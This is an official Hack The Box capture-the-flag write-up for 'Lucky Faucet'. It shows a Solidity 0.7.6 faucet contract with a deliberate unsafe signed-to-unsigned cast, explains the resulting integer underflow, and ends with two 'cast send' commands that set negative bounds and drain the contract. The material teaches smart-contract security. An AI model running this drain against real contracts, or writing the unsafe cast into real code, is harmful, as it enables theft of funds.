![img](../../../../../assets/banner.png)

<img src='../../../../../assets/htb.png' style='margin-left: 20px; zoom: 80%;' align=left /> <font size='10'>Lucky Faucet</font>

28<sup>th</sup> 2022 / Document No. D22.102.16

Prepared By: perrythepwner

Challenge Author(s): perrythepwner

Difficulty: <font color=green>Easy</font>

Classification: Official

# Synopsis

- The challenge involves draining a generous faucet by exploiting an unsafe casting from `int64` to `uint64` in Solidity 0.7.6. This version lacks native integer overflow checks, leading to an integer underflow when negative bounds are set.

# Description

- The Fray announced the placement of a faucet along the path for adventurers who can overcome the initial challenges. It's designed to provide enough resources for all players, with the hope that someone won't monopolize it, leaving none for others.

# Skills Required

- Smart contract interaction.

# Skills Learned

- Unsafe casting for contracts before Solidity 0.8.0.
- Integer underflows/overflows for contracts before Solidity 0.8.0.

# Enumeration

## Analyzing the source code

We're provided with a single target address to interact with, which is the LuckyFaucet contract. This contract acts as a faucet, distributing a random quantity of ETH within a specified range.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;

contract LuckyFaucet {
    int64 public upperBound;
    int64 public lowerBound;

    constructor() payable {
        // start with 50M-100M wei Range until player changes it
        upperBound = 100_000_000;
        lowerBound =  50_000_000;
    }

    function setBounds(int64 _newLowerBound, int64 _newUpperBound) public {
        require(_newUpperBound <= 100_000_000, "100M wei is the max upperBound sry");
        require(_newLowerBound <=  50_000_000,  "50M wei is the max lowerBound sry");
        require(_newLowerBound <= _newUpperBound);
        // why? because if you don't need this much, pls lower the upper bound :)
        // we don't have infinite money glitch.
        upperBound = _newUpperBound;
        lowerBound = _newLowerBound;
    }

    function sendRandomETH() public returns (bool, uint64) {
        int256 randomInt = int256(blockhash(block.number - 1)); // "but it's not actually random ðŸ¤“"
        // we can safely cast to uint64 since we'll never 
        // have to worry about sending more than 2**64 - 1 wei 
        uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound); 
        bool sent = msg.sender.send(amountToSend);
        return (sent, amountToSend);
    }
}
```

The range of ETH given out can be adjusted based on the preferences and needs of the player, by setting both the `lowerBound` and `upperBound`. 

```solidity
    function setBounds(int64 _newLowerBound, int64 _newUpperBound) public {
        require(_newUpperBound <= 100_000_000, "100M wei is the max upperBound sry");
        require(_newLowerBound <=  50_000_000,  "50M wei is the max lowerBound sry");
        require(_newLowerBound <= _newUpperBound);

        upperBound = _newUpperBound;
        lowerBound = _newLowerBound;
    }
```

However, it's important to note that the quantity of ETH distributed is determined by the previous block hash converted to a `uint256`, which isn't a reliable source of randomness. 

```solidity
        int256 randomInt = int256(blockhash(block.number - 1));
        uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound); 
```

Nevertheless, since the contract limits the maximum output value to 100 million Wei (0.0000000001 ETH), and we require at least 10 ETH to solve the challenge, manipulating the randomness isn't necessary. Achieving 10 ETH with a maximum output of 100 million Wei per call would require an impractical number of function calls.

# Solution

## Finding the vulnerability

Searching for low-hanging fruit vulnerabilities in the contract that would allow us to receive more ETH than the contract allows, we initially come up empty-handed. However, upon closer inspection, we notice that not all integer types used in the contract are of the same size (256 bits). The comments in the code explain that 64 bits are sufficient to calculate the output value, as the maximum integer representable by `uint64` is approximately 18 ETH, and the faucet "will never worry about sending more."

```solidity
        // we can safely cast to uint64 since we'll never 
        // have to worry about sending more than 2**64 - 1 wei 
```

We also observe that not all integers are unsigned (`uint`); there are also signed integers (`int`). This means that they allow negative values to be represented. Furthermore, we notice a somewhat hidden operation where an `int64` is cast to `uint64`.
```solidity
        uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound); 
```

What happens when a negative value represented by a signed integer is cast to an unsigned integer? It underflows. For example:

```txt
-1 in int64 == 2**64 - 1 in uint64
```

This means that if we set bounds to negative values like:

```solidity
upperBound = -1
lowerBound = -2
```

We will trigger an underflow when the contract tries to cast `-1` or `-2` to `uint64`. This will result in them being represented as `2**64 - 1` and `2**64 - 2` respectively, which is a little more than 18 ETH. This is enough to solve the challenge.

## Exploitation

### Getting the flag

After analyzing the contract, the exploitation is straightforward.

1) Set the bounds to negative values:
```sh
$ cast send --rpc-url $RPC_URL --private-key $PVK $TARGET "setBounds(int64,int64)" -- -2 -1
```

2) Drain the contract and win: 
```sh
$ cast send $TARGET "sendRandomETH()"  --rpc-url $RPC_URL --private-key $PVK
```
